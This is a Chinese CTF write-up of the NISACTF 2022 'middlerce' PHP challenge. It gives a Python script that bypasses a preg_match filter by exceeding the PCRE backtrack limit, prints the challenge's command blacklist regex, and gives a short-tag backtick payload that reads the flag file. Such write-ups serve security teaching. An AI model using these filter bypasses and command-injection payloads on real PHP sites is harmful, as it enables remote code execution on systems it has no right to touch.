NSS [NISACTF 2022]middlerce

NSS NISACTF 2022middlerce

开题,直接给了源码。

由语句$command = json_decode($txw4ever,true)['cmd'];可得,$txw4ever一定是json格式的数据,但是,preg_match()函数却过滤了{,同时.*贪婪匹配后又匹配括号里的字符,最后再.*后结束。看似无懈可击的过滤,其实可以使用PCRE回溯次数限制绕过

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit默认1000000,超过1000000不会返回1或0而是false即超过限制即可。

$_REQUEST可以接收GET和POST数据,由于GET不适合发太长的请求,这里我们选择用POST。

payload生成脚本:

python 复制代码
import requests

payload = '{"cmd":"cmd", "a":"'+'#'*1000000+'"}'
res = requests.post("http://node4.anna.nssctf.cn:28035/",data = {"letter":payload})
print(res.text)

脚本发个包,发现没有返回再加把油喔,说明preg_match()函数被成功绕过了。

然后就是考虑【命令】如何绕过checkdata()函数检测的问题了。

checkdata()函数的正则过滤如下:

php 复制代码
/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i

这题是黑盒,也可以自己fuzz,结果不变。

过滤的很死,依靠函数执行命令行不通了。那么命令执行我们就采用短标签+反引号。

复制代码
?><?= `nl /f*`?>

解释一下,<?=?>则是相当于<? echo>,payload最前面?>用于闭合,payload后面一部分相当于echo+反引号执行命令。

成功得到flag。

相关推荐
Whoami!14 小时前
⸢ 拾陆-Ⅰ⸥⤳ 安全数智化建设:安全运营中心(SOC)
网络安全·信息安全·soc·安全运营中心
鹿鸣天涯15 小时前
kali 2026.2 2026年第二个版本发布-新增 9 款工具并优化虚拟机启动性能
安全·web安全·kali
无忧智库16 小时前
中大型企业整体网络安全解决方案:从“边界防火墙”到安全运营闭环(PPT)
安全·web安全
m0_7381207217 小时前
AI安全实战系列(六):Lab06 Model Extraction——模型提取攻击
人工智能·安全·网络安全·语言模型·系统安全
vliu61217 小时前
如何删除流氓软件
网络安全
白帽小阳18 小时前
学术论文发表渠道科普,LNCS 系列会议的特点与检索情况分析
web安全·渗透测试·网络安全比赛·ctf备赛·lncs·ei 检索,学术论文,会议发表·计算机科学,宏观认知,学习路径,算法基础
ServBay20 小时前
WordPress 核心漏洞 wp2shell,波及超 5 亿网站
后端·php
菩提小狗1 天前
每日安全情报报告 · 2026-07-16
网络安全·漏洞·cve·安全情报·每日安全
nzz_1712141 天前
PHP程序员转型AI岗位指南:核心技能、北京就业市场与转型路径分析
开发语言·人工智能·php
超防局1 天前
网络安全渗透测试常用工具详解
网络·安全·web安全